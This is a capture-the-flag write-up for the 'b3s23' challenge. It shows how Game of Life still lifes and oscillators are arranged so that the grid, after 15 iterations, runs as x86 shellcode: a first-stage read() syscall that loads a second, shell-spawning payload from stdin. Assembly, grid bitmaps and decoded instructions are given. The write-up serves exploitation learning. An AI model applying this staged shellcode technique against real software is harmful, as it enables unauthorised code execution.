b3s23 is a challenge that, as the name resembles, is based on the well known Game of Life. After little reversing of the binary the main idea of the challenge becomes immediately clear:

  • The program gets a set of coordinates of alive cells in a 110x110 grid
  • 15 iterations of the Game of Life are applied to the grid
  • The grid content is used as code (and we wanna get a shell out of it)

In detail, each chunk of 8 cells in each line is represented in memory as one byte. As the number of cells in a line is not divisible by 8, some bytes are splitted between two lines.

We can exploit the fact that in the Game of Life there are patterns called “Still life” that are invariant after an iteration. We can also rely on oscillators, particular patterns that after a certain number of iterations repeats itself. Using these primitives the goal is to build a grid that is valid shellcode after 15 iterations.

The shortest and simpler shellcode that I could come up with, given the initial conditions before executing the content of the buffer, is the following:

mov    dl, some_number  ; length of read
mov    al,0x3           ; sys_read = 3
push   ebx              ; ebx points to a position in the grid
push   ecx              ; ecx is 0
pop    ebx              ; ebx is now 0 (stdin)
pop    ecx              ; ecx now points to a position in the grid
int    0x80             ; syscall

This is calling a read(), reading from stdin and writing in the grid buffer. It is a first stage shellcode that allows us to provide additional code via stdin, so we can provide a more complex shellcode for popping a shell later on, without any restriction.

Note: Instead of the two pushes and two pops I could have just used a “chg ebx, ecx” instruction. Unfortunately that turned out to be harded to write using still lives or oscillators.

First, I tried to get away from the borders of the grid as it’s easier to use Game of Life patterns if you can use rows above and below, so I tried to construct a sort of nopsled followed by a jump.

The result is the following, it uses only blocks and blinkers:

00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Which after 15 iterations becomes:

/--- execution starts here
v
00000000110000000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00011100110011100000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
  ^--------------^
      JAE 0x38

This translates to the following instructions:

0xf7785000:  add    al,al
0xf7785002:  add    al,al
0xf7785004:  add    al,al
0xf7785006:  add    al,al
0xf7785008:  add    al,al
0xf778500a:  add    al,al
0xf778500c:  add    al,al
0xf778500e:  jae    0xf7785048
[...]

The goal of the second part is to execute some useful code. Again this uses only blocks and blinkers. The result is (actual code in the middle line):

                         /---- we land here in the middle line from the jmp
                         v
00000000000000000000000000110001101100000000010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000110001101100011100010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000100000000100000000

Note: I did not use the initial left part of the grid here, this is because it’s easy to get a “jae 0x38” using 2 blinkers and a block. Because of how the grid is constructed a jump of 0x38 from the first part does not bring us at the beginning of a line.

Which after 15 iterations becomes (keeping only the line with the actual code):

00000000000000000000000000110001101100001000111000110001101100000000000011011000000110000001110011001110000000
                          ^---------------------^^-----------------------^^------^^------^^--------------^
                                mov dl, 0x38            mov al, 0x3        pusha   pusha      jae 0x38

Note: 0x38 is the length of the read, it was big enough and easy to construct with a bi-block. The two pusha instructions are useless for us, but they were easy to construct and they consume space before the jump. This allows to get the third part almost at the beginning of a line.

The third part is the following (the line that is actually executed is the forth, 4 bits after the beginning of the line):

00000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000100100000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000
00000010000101010001100000000000101000000000011010001000110110000000001000110001000000000000000000000000000000
00000101001101010001010110110000010000000000010110001000110110000000001000110001000000000000000000000000000000
00000010000000100000010110110000000000000000000000001000000000000000001000000001000000000000000000000000000000
00000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

After 15 iterations our code becomes:

00000101001101010001010110110000010000000000010110011100110110000000011100110011100000000000000000000000000000
    ^------^^------^^------^^--------------^^------^^-------------^
     push    push    pop     add al, 0x0     pop        int 0x80
     ebx     ecx     ebx       (NOP)         ecx

This part uses more complex structures, like Beehive and table for building the two pushes. Finding out the exact composition is left as an exercise to the reader.

The final exploit is available here.

Kudos to @LegitBS for the awesome challs!

fox